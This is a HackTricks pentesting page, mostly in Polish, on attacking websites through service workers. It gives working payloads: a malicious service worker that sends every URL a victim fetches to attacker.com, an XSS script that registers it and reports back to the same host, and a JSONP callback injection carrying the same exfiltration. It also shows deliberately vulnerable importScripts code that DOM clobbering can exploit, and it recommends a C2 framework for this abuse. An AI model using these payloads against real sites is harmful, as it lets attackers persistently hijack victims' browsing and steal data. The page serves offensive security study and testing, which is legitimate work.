Abusing Service Workers

Support HackTricks

Try Hard Security Group


Basic Information

Service worker to skrypt uruchamiany przez przeglądarkę w tle, oddzielony od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, co zwiększa możliwości pracy offline i w tle. Szczegółowe informacje na temat service workerów można znaleźć tutaj. Wykorzystując service workery w ramach podatnej domeny internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.

Checking for Existing Service Workers

Istniejące service workery można sprawdzić w sekcji Service Workers w zakładce Application w Narzędziach deweloperskich. Inną metodą jest odwiedzenie chrome://serviceworker-internals w celu uzyskania bardziej szczegółowego widoku.

Push Notifications

Uprawnienia do powiadomień push bezpośrednio wpływają na zdolność service workera do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odrzucane, ogranicza to potencjał service workera do stwarzania ciągłego zagrożenia. Z drugiej strony, przyznanie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych exploitów.

Attack Creating a Service Worker

Aby wykorzystać tę lukę, musisz znaleźć:

  • Sposób na przesłanie dowolnych plików JS na serwer oraz XSS do załadowania service workera przesłanego pliku JS

  • Podatne żądanie JSONP, w którym możesz manipulować wyjściem (z dowolnym kodem JS) oraz XSS do załadowania JSONP z ładunkiem, który załaduje złośliwego service workera.

W następującym przykładzie zaprezentuję kod do rejestracji nowego service workera, który będzie nasłuchiwał zdarzenia fetch i wyśle do serwera atakującego każdą pobraną URL (to jest kod, który musisz przesłać na serwer lub załadować za pomocą podatnej odpowiedzi JSONP):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

A oto kod, który zarejestruje pracownika (kod, który powinieneś być w stanie wykonać, wykorzystując XSS). W tym przypadku żądanie GET zostanie wysłane do serwera atakującego, informując, czy rejestracja pracownika serwisowego była udana, czy nie:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

W przypadku nadużywania podatnego punktu końcowego JSONP, powinieneś umieścić wartość wewnątrz var sw. Na przykład:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing importScripts in a SW via DOM Clobbering

Funkcja importScripts wywołana z Service Worker może zaimportować skrypt z innej domeny. Jeśli ta funkcja jest wywoływana z użyciem parametru, który mógłby zmodyfikować atakujący, mógłby zaimportować skrypt JS z jego domeny i uzyskać XSS.

To nawet omija zabezpieczenia CSP.

Example vulnerable code:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Z DOM Clobbering

Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawdź:

Dom Clobbering

Jeśli URL/domena, z której SW korzysta, aby wywołać importScripts, znajduje się wewnątrz elementu HTML, możliwe jest modyfikowanie go za pomocą DOM Clobbering, aby SW załadował skrypt z twojej własnej domeny.

Aby zobaczyć przykład, sprawdź link referencyjny.

Referencje

Try Hard Security Group

Wsparcie HackTricks

Last updated